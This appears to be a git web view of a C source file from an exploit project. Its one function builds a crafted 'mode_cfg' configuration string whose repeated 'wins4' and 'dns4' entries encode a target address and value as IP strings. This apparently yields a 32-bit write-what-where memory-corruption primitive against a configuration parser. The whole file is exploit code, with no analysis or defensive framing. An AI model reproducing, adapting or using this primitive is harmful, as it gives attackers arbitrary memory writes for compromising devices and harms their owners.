summaryrefslogtreecommitdiff
path: root/src/stage0_primitives.c
blob: b54cb1ad10e2a2c929acbbb3cca8ef34f5f0c7d4 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/*
 *  stage0_primitives
 */

#include <stdint.h>
#include <stdio.h>

#include "stage0_primitives.h"
#include "ip_tools.h"
#include "common.h"
#include <string.h>
#include "shit.h"

//#define DNS4_OFFSET 0xb6c10

char* write32_slid(uint32_t where,
				   uint32_t what) {
	char* where_ip = NULL;
	char* what_ip = NULL;
	char* ret = NULL;

    uint32_t where_ = where - DNS4_OFFSET;
    where_ >>= 2;
    where_ += 0x80000000;
	
	where_ip = uint32_t_to_ip(where_);
	what_ip = uint32_t_to_ip(what);

	asprintf(&ret,	"mode_cfg{"
					"wins41.3.3.7;"
					"wins41.3.3.7;"
					"wins41.3.3.7;"
					"wins41.3.3.7;"
					"wins4255.255.255.255;"
					"wins4%s;"
					"dns4%s;"
					"}",
			 where_ip,
			 what_ip);
	
	strcpy(fuck_memory_leaks, ret);

	free(ret);

	return fuck_memory_leaks;
}